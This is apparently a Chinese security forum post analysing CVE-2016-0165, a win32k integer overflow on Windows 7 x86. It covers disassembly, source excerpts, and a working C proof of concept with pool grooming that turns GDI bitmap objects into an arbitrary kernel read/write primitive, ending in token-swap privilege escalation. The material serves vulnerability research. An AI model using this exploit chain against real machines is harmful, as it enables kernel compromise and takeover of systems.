CVE-2016-0165 是一个典型的整数上溢漏洞,由于在 win32k!RGNMEMOBJ::vCreate
函数中分配内核池内存块前没有对计算的内存块大小参数进行溢出校验,导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并未对分配的内存块大小进行必要的校验,在后续通过该内存块作为缓冲区存储数据时,将会触发缓冲区溢出访问的 OOB 问题,严重情况将导致系统 BSOD 的发生。
[+] win7 x86 sp1 [+] windbg preview 1.0.2001.02001
通过Bindiff可以看出,在RGNMEMOBJ::vCreate
函数中,当调用ExAllocatePoolWithTag
函数分配内存之前,增加了对ULongAdd
函数和ULongLongToULong
函数的调用。这两个函数在运算时如果发现运算数值超过了ULONG
整数的范围就会返回ERROR_ARITHMETIC_OVERFLOW
错误码,所以这两个函数通常用来防止发生整数溢出,在这里,这两个函数用来防止ExAllocatePoolWithTag
函数的参数NumberOfBytes
的整数溢出。
接着我们追踪一下这个参数NumberOfBytes
到底是从哪里来,到哪里去,方便我们更加深入的了解这个漏洞。
.text:BF876200 ; --------------------------------------------------------------------------- .text:BF876200 .text:BF876200 loc_BF876200: ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A0j .text:BF876200 lea eax, [ebp+NumberOfBytes] .text:BF876203 push eax ; unsigned int * .text:BF876204 xor edi, edi .text:BF876206 inc edi .text:BF876207 push edi ; unsigned int .text:BF876208 push [ebp+NumberOfBytes] ; unsigned int .text:BF87620B call ?ULongAdd@@YGJKKPAK@Z ; [ebp+NumberOfBytes] = [ebp+NumberOfBytes] + 1 .text:BF876210 test eax, eax .text:BF876212 jl loc_BF8763D2 .text:BF876218 mov eax, [ebp+NumberOfBytes] ; eax为被乘数 .text:BF87621B push 28h .text:BF87621D pop ecx ; ecx为乘数 .text:BF87621E mul ecx ; mul reg32 的答案保存在edx:eax之中 .text:BF876220 lea ecx, [ebp+NumberOfBytes] .text:BF876223 push ecx ; unsigned int * .text:BF876224 push edx .text:BF876225 push eax ; 结果保存在[ebp+NumberOfBytes]中 .text:BF876226 call _ULongLongToULong@12 ; ULongLongToULong(x,x,x) .text:BF87622B test eax, eax .text:BF87622D jl loc_BF8763D2 .text:BF876233 cmp [ebp+NumberOfBytes], 0 .text:BF876237 jz short loc_BF87624E .text:BF876239 push 67646547h ; Tag .text:BF87623E push [ebp+NumberOfBytes] ; NumberOfBytes .text:BF876241 push 21h ; PoolType .text:BF876243 call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x) .text:BF876249 mov [ebp+P], eax .text:BF87624C jmp short loc_BF876252 .text:BF87624E ; ---------------------------------------------------------------------------
这段代码配合注释应该很容易看明白,参数NumberOfBytes在传入函数ExAllocatePoolWithTag
之前,经历了如下的运算过程:
[ebp+NumberOfBytes] = ([ebp+NumberOfBytes] + 1) * 0x28
即函数ExAllocatePoolWithTag
申请的内存大小为(x + 1) * 0x28,对x往前追溯可以发现x来自于函数ExAllocatePoolWithTag
的第二个参数EPATHOBJ+4
偏移地址的域
.text:BF87615C mov esi, [ebp+arg_0] (省略无关内容) .text:BF876189 mov eax, [esi+4] .text:BF87618C mov [ebp+NumberOfBytes], eax
在MSDN可以找到PATHOBJ
的结构
typedef struct _PATHOBJ { FLONG fl; ULONG cCurves; } PATHOBJ;
+4偏移地址是被定义为ULONG cCurves
的成员变量
cCurves The number of lines and Bezier curves that make up the path.
该变量表示当前PATHOBJ
对象的曲线数目。也就是说(曲线数目 + 1) * 0x28
可以造成整数溢出,使得分配一个远小于目标大小的内存。这里可以看看未修补的素人版本,功能是一致的:
.text:BF873FEA ; --------------------------------------------------------------------------- .text:BF873FEA .text:BF873FEA loc_BF873FEA: ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+A2j .text:BF873FEA lea eax, [ecx+1] ; ULONG cCurves .text:BF873FED imul eax, 28h .text:BF873FF0 test eax, eax .text:BF873FF2 jz short loc_BF87400A .text:BF873FF4 push 6E677247h ; Tag .text:BF873FF9 push eax ; NumberOfBytes .text:BF873FFA push 21h ; PoolType .text:BF873FFC call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x) .text:BF874002 mov edx, [ebp+arg_8] .text:BF874005 mov [ebp+P], eax .text:BF874008 jmp short loc_BF87400E .text:BF87400A ; ---------------------------------------------------------------------------
接着往后跟进,查看一下申请出来的这块内存会被如何使用
.text:BF8740D4 loc_BF8740D4: ; CODE XREF: RGNMEMOBJ::vCreate(EPATHOBJ &,ulong,_RECTL *)+18Cj .text:BF8740D4 push [ebp+arg_8] ; struct _RECTL * .text:BF8740D7 mov [eax+10h], esi .text:BF8740DA mov eax, [ebx] .text:BF8740DC push [ebp+P] ; struct EDGE * ; [ebp+P]保存的就是ExAllocatePoolWithTag申请的内存 .text:BF8740DF mov dword ptr [eax+30h], 48h .text:BF8740E6 mov eax, [ebx] .text:BF8740E8 mov [eax+18h], ecx .text:BF8740EB mov eax, [ebx] .text:BF8740ED mov [eax+14h], ecx .text:BF8740F0 mov eax, [ebx] .text:BF8740F2 mov [eax+34h], ecx .text:BF8740F5 mov eax, [ebx] .text:BF8740F7 lea ecx, [eax+48h] .text:BF8740FA mov [eax+1Ch], ecx .text:BF8740FD mov eax, [ebx] .text:BF8740FF add eax, 20h .text:BF874102 mov [eax+4], eax .text:BF874105 mov [eax], eax .text:BF874107 lea eax, [ebp+var_68] .text:BF87410A push eax ; struct EDGE * .text:BF87410B push [ebp+arg_0] ; struct EPATHOBJ * .text:BF87410E call ?vConstructGET@@YGXAAVEPATHOBJ@@PAVEDGE@@1PAU_RECTL@@@Z ; vConstructGET(EPATHOBJ &,EDGE *,EDGE *,_RECTL *)
函数ExAllocatePoolWithTag
申请的内存被当作函数vConstructGET
的第三个参数,作为struct EDGE *
类型的指针参数传入的。关于EDGE是什么东西,我们可以在windows的源码中找到
class EDGE { public: PEDGE pNext; LONG lScansLeft; LONG X; LONG Y; LONG lErrorTerm; LONG lErrorAdjustUp; LONG lErrorAdjustDown; LONG lXWhole; LONG lXDirection; LONG lWindingDirection; };
这个结构用来描述将要填充的路径中的单个非水平边。在我们的实验环境中,该结构的大小为40,即0x28。看看函数vConstructGET
干了些什么。
VOID vConstructGET(EPATHOBJ& po, EDGE *pGETHead, EDGE *pFreeEdges,RECTL *pBound) { // Create an empty GET with the head node also a tail sentinel pGETHead->pNext = pGETHead; // mark that the GET is empty pGETHead->Y = 0x7FFFFFFF; // this is greater than any valid Y value, so // searches will always terminate PPATH ppath = po.ppath; for (PATHRECORD *ppr = ppath->pprfirst; ppr != (PPATHREC) NULL; ppr = ppr->pprnext) { // If first point starts a subpath, remember it as such // and go on to the next point, so we can get an edge. PPOINTFIX pptfxStart, pptfxEnd, pptfxPrev, pptfx; pptfx = ppr->aptfx; if (ppr->flags & PD_BEGINSUBPATH) { pptfxStart = ppr->aptfx; // the subpath starts here pptfxPrev = ppr->aptfx; // this points starts next edge pptfx++; // advance to the next point } // Add edges in PATH to GET, in Y-X sorted order. pptfxEnd = ppr->aptfx + ppr->count; while (pptfx < pptfxEnd) { pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev,pptfx,pBound); pptfxPrev = pptfx; pptfx++; // advance to the next point } // If last point ends the subpath, insert the edge that // connects to first point. if (ppr->flags & PD_ENDSUBPATH) { pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges,pptfxPrev, pptfxStart,pBound); } } }
函数ExAllocatePoolWithTag
申请的内存pFreeEdges又一次被当作参数传入函数vConstructGET
,函数vConstructGET
循环调用函数AddEdgeToGET
来将两个点描述的边加入到GET表中,并将数据写入pFreeEdges参数指向的EDGE结构体,最后将下一个EDGE元素地址作为返回值返回。
pFreeEdge->pNext = pGETHead->pNext; // link the edge into the GET pGETHead->pNext = pFreeEdge; return(++pFreeEdge);
由于函数ExAllocatePoolWithTag
申请的内存大小发生了整数溢出,导致这块内存的大小远小于我们的预期,之后进行大量写入操作的时候,将会造成OOB覆盖其他内容,从而导致系统BSOD的触发。
NtPathToRegion
函数win32k中的很多函数都会调用RGNMEMOBJ::vCreate
函数,再从中选取一个可以控制申请内存大小的函数来抵达漏洞,这里我们选择NtPathToRegion
函数:
DCOBJ::DCOBJ((DCOBJ *)&v9, a1); ...... XEPATHOBJ::XEPATHOBJ((XEPATHOBJ *)&v7, (struct XDCOBJ *)&v9); if ( v8 ) { v4 = *(_BYTE *)(*(_DWORD *)(v9 + 56) + 58); v11 = 0; RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0); if ( v10 ) { v5 = HmgInsertObject(v10, 0, 4); if ( !v5 ) RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10); } else { v5 = 0; } ......
该函数用于根据被选择在
DC
对象中的路径PATH
对象创建区域REGION
对象,生成的区域将使用设备坐标,唯一的参数HDC a1
是指向某个设备上下文DC
对象的句柄。由于区域的转换需要闭合的图形,所以在函数中执行转换之前,函数会将PATH
中所有未闭合的图形闭合。在成功执行从路径到区域的转换操作之后,系统将释放目标DC
对象中的闭合路径。另外该函数可在用户态进程中通过gdi32.dll
中的导出函数在用户进程中进行直接调用,这给路径追踪带来便利。
XEPATHOBJ v7
被作为第二个参数传递给RGNMEMOBJ::vCreate
函数,XEPATHOBJ v7
早已经在自身的XEPATHOBJ::XEPATHOBJ
构造函数中依据用户对象DCOBJ v9
进行初始化,而DCOBJ v9
也早在DCOBJ::DCOBJ
构造函数中依据NtPathToRegion
函数的唯一参数HDC a1
进行了初始化。
DCOBJ *__thiscall DCOBJ::DCOBJ(DCOBJ *this, HDC a2) { DCOBJ *v2; // esi v2 = this; *(_DWORD *)this = 0; *((_DWORD *)this + 1) = 0; *((_DWORD *)this + 2) = 0; XDCOBJ::vLock(this, a2); return v2; }
出乎意料,这个函数的构造其实很简单,根据句柄参数 HDC a2
获取该句柄指向的设备上下文 DC
对象指针并存储在 this
的第 1 个成员变量中(即 PDC pdc
成员),以使当前 DCOBJ
对象成为目标 DC
对象的用户对象。
XEPATHOBJ::XEPATHOBJ
构造函数
XEPATHOBJ::XEPATHOBJ(HPATH hPath) { ppath = (PPATH)HmgShareLock((HOBJ) hPath, PATH_TYPE); if (ppath != (PATH*) NULL) { // Load up accelerator values: cCurves = ppath->cCurves; fl = ppath->fl; } return; }
此函数首先调用HmgShareLock
函数并传入hPath
句柄和PATH_TYPE
类型对句柄指向的PATH
对象增加共享计数并返回对象指针,以使当前 XEPATHOBJ
对象成为目标 PATH
对象的用户对象。之后对cCurves
赋值,没错,就是前面那个导致了溢出的cCurves
。
至此,我们揪出了cCurves
的来源,就是参数HDC a1
句柄控制的,也就是说,我们只要控制了HDC a1
句柄,就可以在 ExAllocatePoolWithTag
函数进行任意大小的的内存分配。
PolylineTo
函数虽然刚刚大言不惭的说了要控制HDC a1
句柄,但也没那么简单,我们要考虑具体如何操作。这里我们使用PolylineTo
函数,该函数用于向 HDC hdc
句柄指向的 DC
对象中绘制一条或多条直线:
BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt) { ...... return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4); }
NtGdiPolyPolyDraw
函数PolylineTo
函数最终调用NtGdiPolyPolyDraw
系统调用:
函数
NtGdiPolyPolyDraw
用于绘制一个或多个多边形、折线,也可以绘制由一条或多条直线段、贝塞尔曲线段组成的折线等;其第 4 个参数ccpt
用于在绘制一系列的多边形或折线时指定多边形或折线的个数,如果绘制的是线条(不管是直线还是贝塞尔曲线)该值都需要设置为1
;第 5 个参数iFunc
用于指定绘制图形类型,设置为4
表示绘制直线。
cpt = 0; for ( i = 0; ; ++i ) { v13 = cpt; if ( i >= ccpt ) break; cpt += *(Dst + i); } if ( cpt > 0x4E2000 ) goto LABEL_56;
NtGdiPolyPolyDraw
函数规定了调用时的线条总数目,不能大于 0x4E2000
,否则直接返回失败。
switch ( iFunc ) { case 1: v11 = GrePolyPolygon(hdc, v7, Dst, ccpt, cpt); break; case 2: v11 = GrePolyPolyline(hdc, v7, Dst, ccpt, cpt); break; case 3: v11 = GrePolyBezier(hdc, v7, ulCount); break; case 4: v11 = GrePolylineTo(hdc, v7, ulCount); break; case 5: v11 = GrePolyBezierTo(hdc, v7, ulCount); break; case 6: v11 = GreCreatePolyPolygonRgnInternal(v7, Dst, ccpt, hdc, cpt); break; default: v18 = 0; goto LABEL_47;
根据参数iFunc
的值进入不同的绘制例程。在PolylineTo
函数中,iFunc
的值为4,那么将会调用GrePolylineTo
函数,传入 GrePolylineTo
函数的第 3 个参数 ulCount
是稍早时赋值的本次需要绘制线条的数目,数值来源于从 PolylineTo
函数传入的 cpt
变量。
GrePolylineTo
函数DCOBJ::DCOBJ(&v12, a1); ...... EXFORMOBJ::vQuickInit(&v11, &v12, 0x204u); v8 = 1; PATHSTACKOBJ::PATHSTACKOBJ(&v13, &v12, 1); if ( !v14 ) { EngSetLastError(8); LABEL_12: PATHSTACKOBJ::~PATHSTACKOBJ(&v13); v6 = 0; goto LABEL_9; } if ( !EPATHOBJ::bPolyLineTo(&v13, &v11, a2, ulCount) ) goto LABEL_12; v9 = EPATHOBJ::ptfxGetCurrent(&v13, &v10); DC::vCurrentPosition(v12, &a2[a3 - 1], v9);
GrePolylineTo
函数首先根据 HDC a1
参数初始化 DCOBJ v12
用户对象,接下来定义了 PATHSTACKOBJ v13
用户对象。函数中调用 PATHSTACKOBJ::PATHSTACKOBJ
构造函数对 v13
对象进行初始化,并在初始化成功后调用成员函数 EPATHOBJ::bPolyLineTo
执行绘制操作。
EPATHOBJ::bPolyLineTo
函数int __thiscall EPATHOBJ::bPolyLineTo(EPATHOBJ *this, struct EXFORMOBJ *a2, struct _POINTL *a3, unsigned int ulCount) { EPATHOBJ *v4; // esi int result; // eax int v6; // [esp+4h] [ebp-Ch] unsigned int v7; // [esp+8h] [ebp-8h] struct _POINTL *v8; // [esp+Ch] [ebp-4h] v4 = this; if ( !*(this + 2) ) return 0; v6 = 0; v8 = a3; v7 = ulCount; result = EPATHOBJ::addpoints(this, a2, &v6); if ( result ) *(v4 + 1) += ulCount; return result; }
EPATHOBJ::bPolyLineTo
执行具体的从 DC
对象的当前位置点到指定点的画线操作,通过调用 EPATHOBJ::addpoints
执行将目标的点添加到路径中的具体操作。执行成功后,将参数 ulCount
的值增加到成员变量 cCurves
中。
现在我们知道控制PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)
的cpt
变量就可以在 ExAllocatePoolWithTag
函数进行任意大小的的内存分配,但离完整的poc还有点距离,接着构造poc。
因为是32位系统,所以ULONG的值最大为0xFFFFFFFF,而发生溢出时的参数为NumberOfBytes = 0x28 * (v6 + 1)
,所以我们需要构造0x28 * (v6 + 1)>0xFFFFFFFF
来实现整数溢出,解不等式可得v6 > 0x6666665
。但是cCurves
在RGNMEMOBJ::vCreate
函数的开始位置调用的 EPATHOBJ::vCloseAllFigure
成员函数中会被修改,具体代码如下:
VOID EPATHOBJ::vCloseAllFigures() { PPATHREC ppr = ppath->pprfirst; while (ppr != (PPATHREC) NULL) { if (ppr->flags & PD_ENDSUBPATH) { if (!(ppr->flags & PD_CLOSEFIGURE)) { ppr->flags |= PD_CLOSEFIGURE; cCurves++; } } ppr = ppr->pprnext; } }
此函数遍历PPATHREC
列表,并将所有未处于闭合状态的记录项设置为闭合状态,即将末尾的坐标点和起始的坐标点进行连接,所以会使得cCurves
的值增加1。也就是说,我们只要达成v6 > 0x6666664
就可以造成整数溢出了。但是NtGdiPolyPolyDraw
系统调用绘制的数量不能超过0x4E2000,否则就会直接返回失败,所以我们需要多次调用来达到溢出。完整代码如下:
#include <Windows.h> #include <wingdi.h> #include <iostream> CONST LONG maxCount = 0x6666665; CONST LONG maxLimit = 0x4E2000; static POINT point[maxCount] = { 0 }; int main(int argc, char* argv[]) { BOOL ret = FALSE; for (LONG i = 0; i < maxCount; i++) { point[i].x = i + 1; point[i].y = i + 2; } HDC hdc = GetDC(NULL); // get dc of desktop hwnd BeginPath(hdc); // activate the path for (LONG i = maxCount; i > 0; i -= min(maxLimit, i)) { ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i)); } EndPath(hdc); // deactivate the path HRGN hRgn = PathToRegion(hdc); return 0; }
虽然我们预想的很好,但是触发BSOD的几率非常低,因为覆盖后续内存的操作本身不会出错,错误其实是发生在后续释放或取内存的时候,而我们又不能保证后续内存存储的是什么东西,所以触发全靠运气,我在本地试了好多次都没有触发,不过可以借助Windbg来查看,确实是分配了一块0x18大小的内存。
虽然我们的poc触发成功率不高,但它确实破坏了后续堆块的POOL_HEADER
结构,导致释放内存块时校验POOL_HEADER
结构,从而触发BSOD。但如果我们提前进行堆布局,使得RGNMEMOBJ::vCreate
函数分配的内存位于所在内存页的末尾,那么在释放的时候就不会对相邻内存块进行校验,这样虽然依旧进行了OOB,但并不会触发崩溃。
#include <Windows.h> #include <wingdi.h> #include <iostream> CONST LONG maxCount = 0x6666667; CONST LONG maxLimit = 0x4E2000; static POINT point[maxCount] = { 0 }; CONST LONG maxTimes = 5000; CONST LONG tmpTimes = 7000; static HBITMAP hbitmap[maxTimes] = { NULL }; static HACCEL hacctab[tmpTimes] = { NULL }; int main(int argc, char* argv[]) { for (LONG i = 0; i < 5000; i++) { hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL); } for (LONG i = 0; i < 7000; i++) { ACCEL acckey[0x0D] = { 0 }; hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D); } for (LONG i = 2000; i < 4000; i++) { DestroyAcceleratorTable(hacctab[i]); hacctab[i] = NULL; } DebugBreak(); BOOL ret = FALSE; for (LONG i = 0; i < maxCount; i++) { point[i].x = i + 1; point[i].y = i + 2; } HDC hdc = GetDC(NULL); // get dc of desktop hwnd BeginPath(hdc); // activate the path for (LONG i = maxCount; i > 0; i -= min(maxLimit, i)) { ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i)); } EndPath(hdc); // deactivate the path HRGN hRgn = PathToRegion(hdc); return 0; }
因为0x18字节不方便占位,所以我们稍微提高画线数目为0x6666667,使得分配0x68大小的内存,加上0x8字节的POOL_HEADER就是0x70字节。我们先调用CreateBitmap
函数申请大量的0xF90
大小的内存块,以留下足够多的 0x70
字节间隙作为 RGNMEMOBJ::vCreate
函数分配 0x70
字节内存块时的空间候选。但是因为SURFACE结构本身就要占用0x154字节,所以使用 CreateAcceleratorTable
函数。通过调用比 CreateBitmap
更多次数的 CreateAcceleratorTableA
函数创建 AcceleratorTable
内核对象以填充内存空隙、然后在其中制造空洞的方式,为使 RGNMEMOBJ::vCreate
分配的内存块能够命中我们安排的空洞提升更大的概率。随后通过 DestroyAcceleratorTable
函数释放掉中间一部分 AcceleratorTable
对象,为 RGNMEMOBJ::vCreate
函数留下足够多的机会。
现在,RGNMEMOBJ::vCreate
函数分配的内存块成功命中在我们安排的内存间隙中,其相邻的内存页也都符合我们先前构造的内存布局。
因为创建的线条实在太多,会进行很大范围的内存访问,不利于后续操作,我们需要限制AddEdgeToGET
函数的访问范围。
if ( pClipRect ) { if ( iYEnd < pClipRect->top || iYStart > pClipRect->bottom ) return pFreeEdge; if ( iYStart < pClipRect->top ) { bClip = 1; iYStart = pClipRect->top; } if ( iYEnd > pClipRect->bottom ) iYEnd = pClipRect->bottom; } ipFreeEdge_Y = (iYStart + 15) >> 4; *((_DWORD *)pFreeEdge + 3) = ipFreeEdge_Y; *((_DWORD *)pFreeEdge + 1) = ((iYEnd + 15) >> 4) - ipFreeEdge_Y; if ( ((iYEnd + 15) >> 4) - ipFreeEdge_Y <= 0 ) return pFreeEdge;
函数中存在两处跳过当前边而直接返回的判断逻辑,返回时由于忽略当前边的数据,所以 pFreeEdge
指针不向后移。第二处返回逻辑的判断条件是:当前两点描述的边中,结束坐标点的 Y 轴坐标是否与起始坐标点的 Y 轴坐标相等;如果 Y 轴坐标相等,则忽略这条边,直接返回当前 pFreeEdge
指针指向的地址。此处的右移 4
比特位只是在还原之前在 EPATHOBJ::createrec
和 EPATHOBJ::growlastrec
函数中存储坐标点时左移 4
比特位的数值。因此通过控制各坐标点的 Y 轴坐标值就可以控制从起始位置开始连续写入的 EDGE
个数。
域 sizlBitmap
位于 0xfe29d028
位置,域 pvScan0
位于 0xfe29d038
位置。两者的值都没有被复写成理想的值,但是注意到有几处地址的数据被修改成 0xFFFFFFFF
这样的特殊值。这样一来就不能使位图 SURFACE
对象直接作为内存页的起始位置,需要在 EDGE
缓冲区内存块和位图 SURFACE
对象内存块之间增加“垫片”,以使 0xFFFFFFFF
这样的特殊值能被覆盖到我们特别关注的域中。
这个垫片的作用其实就是把 EDGE
缓冲区内存块前面的f90
内存块分成两个内存块,内存页起始位置我们申请一块内存来占位,大小合适的话就可以使切割出来的堆块的域 sizlBitmap
被修改成 0xFFFFFFFF
。我们先释放掉所有的f90
内存块,然后分配一块较大但是又不超过f90
的内存块,这里使用设置剪贴板的方式来分配用作垫片的缓冲区,在不调用函数 OpenCliboard
并清空剪贴板数据的前提下调用 SetClipboardData
函数会发生潜在的内存泄露,被分配的剪贴板数据对象在当前活跃会话生命周期内将会一直存在于分页会话池当中。但正因为这个特性,在后续通过漏洞溢出覆盖该对象的数据结构之后,不用担心在会在发生销毁对象时触发异常的问题,内存泄露的问题只能作为该验证代码的一个小缺憾。修改后的触发代码如下:
#include <Windows.h> #include <wingdi.h> #include <iostream> CONST LONG maxCount = 0x6666667; CONST LONG maxLimit = 0x4E2000; static POINT point[maxCount] = { 0 }; CONST LONG maxTimes = 5000; CONST LONG tmpTimes = 7000; static HBITMAP hbitmap[maxTimes] = { NULL }; static HACCEL hacctab[tmpTimes] = { NULL }; VOID CreateClipboard(DWORD Size) { PBYTE Buffer = (PBYTE)malloc(Size); FillMemory(Buffer, Size, 0x41); Buffer[Size - 1] = 0x00; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size); CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size); GlobalUnlock(hMem); SetClipboardData(CF_TEXT, hMem); } int main(int argc, char* argv[]) { for (LONG i = 0; i < maxCount; i++) { point[i].x = i + 1; point[i].y = 5; // same values to ignore } for (LONG i = 0; i < 75; i++) { point[i].y = i + 1; // to rewrite such edge elements. } HDC hdc = GetDC(NULL); auto ret = BeginPath(hdc); for (LONG i = maxCount; i > 0; i -= min(maxLimit, i)) { ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i)); } ret = EndPath(hdc); // 0xF90+0x70=0x1000 for (LONG i = 0; i < 4000; i++) { // 0xE34+0x154+8=0xF90 hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL); } for (LONG i = 0; i < 5500; i++) { ACCEL acckey[0x0D] = { 0 }; // 0x0D*6+0x12+4+8~0x70 hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D); } for (LONG i = 0; i < 4000; i++) { // free original bitmaps ret = DeleteObject(hbitmap[i]); hbitmap[i] = NULL; } // 0xB70+0x420=0xF90 for (LONG i = 0; i < 4000; i++) { // create shim clipdatas // 0xB5C+0xC+8=0xB70 CreateClipboard(0xB5C); } for (LONG i = 0; i < 4000; i++) { // create usable bitmaps // 0xB1*0x01*4+0x154+8=0x420 hbitmap[i] = CreateBitmap(0x01, 0xB1, 1, 32, NULL); } for (LONG i = 2000; i < 4000; i++) { // dig hole to place edge buffer ret = DestroyAcceleratorTable(hacctab[i]); hacctab[i] = NULL; } DebugBreak(); PathToRegion(hdc); return 0; }
接着我们跟进一下看看内存到底有没有被成功覆盖
成员sizlBitmap.cy
被覆盖成 0xFFFFFFFF
,而 pvScan0
成员的值并未被污染,我们就可以利用该 sizlBitmap.cy
成员值的广阔范围,将当前位图 SURFACE
对象作为主控位图对象,通过其对位于下一内存页中的位图 SURFACE
对象进行操作,将其作为扩展位图 SURFACE
对象,覆盖其 pvScan0
指针为我们想读写的地址,随后再通过 API 函数操作扩展位图 SURFACE
对象,实现“指哪打哪”的目的。
pBmpHunted = (PDWORD)malloc(0x1000); // memory stub LONG index = -1; POCDEBUG_BREAK(); for (LONG i = 0; i < 4000; i++) { if (GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted) > 0x2D0) { index = i; break; } } hbmpmain = hbitmap[index];
我们通过循环调用 GetBitmapBits
函数遍历位图句柄数组以定位被覆盖数据的位图 SURFACE
对象的句柄,获取 0x1000
字节的一整个内存页大小的位图数据。大部分配有被覆盖数据的位图 SURFACE
对象的像素点数据区域大小仍旧是原来的 0xB1*0x01*4=0x2C4
字节大小,所以返回值只可能是不超过 0x2C4
的数值;而针对被我们覆盖数据的主控位图 SURFACE
对象而言,由于 sizlBitmap
成员的值被覆盖成 0x01
和 0xFFFFFFFF
数值,所以在计算位图像素点数据“实际大小”时,计算出来的结果是 0x(3)FFFFFFFC
,这是一个发生溢出的数值,高于 32
位的数据被舍弃。这样的话,当遍历到主控位图对象的句柄时,函数的返回值将必然是比 0x2D0
大的数,因此得以命中。命中成功后 pBmpHunted
缓冲区中就存储了从当前位图对象的位图像素点数据区域起始地址开始的 0x1000
字节范围的内存数据。
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb) { LONG ret = 0; pBmpHunted[iExtpScan0] = addr; ret = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted); if (ret < 0x1000) { return FALSE; } ret = SetBitmapBits(hBmpExtend, cb, pvBits); if (ret < (LONG)cb) { return FALSE; } return TRUE; }
接着定位拓展位图对象,因为在句柄表中二者不一定相邻,所以我们可以讲拓展位图的大小修改,再通过上面的办法来遍历拓展位图的句柄。接着通过主控位图 SURFACE
对象控制扩展位图 SURFACE
对象的 SURFACE->so.pvScan0
成员域的值,这样一来只要将扩展位图 SURFACE
对象的 SURFACE->so.pvScan0
成员域修改为任意内核地址,便可轻松实现对内核任意地址的读写,“指哪打哪”的目的就实现了。
这一部分就大同小异了,直接替换Token就好。至此,我们成功实现了提权。
https://xiaodaozhi.com/exploit/56.html
https://www.anquanke.com/post/id/93105
博客有我的联系方式,欢迎大家来玩,地址:https://www.0x2l.cn
[公告]SDC2020 看雪安全者开发者峰会10月23日将在上海举行!欢迎参加!
最后于 1天前 被0x2l编辑 ,原因: 修改